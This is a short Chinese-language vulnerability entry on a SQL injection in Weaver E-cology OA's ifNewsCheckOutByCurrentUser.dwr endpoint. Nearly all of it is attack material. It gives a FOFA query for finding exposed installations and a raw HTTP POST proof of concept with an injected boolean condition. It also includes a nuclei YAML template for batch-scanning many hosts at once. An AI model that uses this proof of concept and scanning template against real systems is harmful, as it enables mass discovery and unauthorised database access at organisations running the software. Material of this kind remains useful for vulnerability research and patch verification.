泛微E-cology ifNewsCheckOutByCurrentUser.dwr SQL注入漏洞
漏洞描述
泛微E-cology的ifNewsCheckOutByCurrentUser.dwr文件存在SQL注入漏洞。
漏洞复现
fofa语法:app="泛微-协同办公OA"
登录页面如下:
POC:
POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/35.0.2117.157 Safari/537.36
Content-Length: 189
Accept-Encoding: gzip
Connection: close
Content-Type: text/plain
callCount=1
page=
httpSessionId=
scriptSessionId=
c0-scriptName=DocDwrUtil
c0-methodName=ifNewsCheckOutByCurrentUser
c0-id=0
c0-param0=string:1 and 1=1
c0-param1=string:1
batchId=0
nuclei批量yaml文件
id: ecology_ifNewsCheckOutByCurrentUser_sqli
info:
name: 泛微E-cology ifNewsCheckOutByCurrentUser.dwr SQL注入漏洞
author: mhb17
severity: critical
description: description
reference:
- https://
tags: sqli
requests:
- raw:
- |-
POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/35.0.2117.157 Safari/537.36
Content-Length: 189
Accept-Encoding: gzip
Connection: close
Content-Type: text/plain
callCount=1
page=
httpSessionId=
scriptSessionId=
c0-scriptName=DocDwrUtil
c0-methodName=ifNewsCheckOutByCurrentUser
c0-id=0
c0-param0=string:1 and 1=1
c0-param1=string:1
batchId=0
matchers-condition: and
matchers:
- type: word
part: body
words:
- remoteHandleCallback
- type: word
part: header
words:
- '200'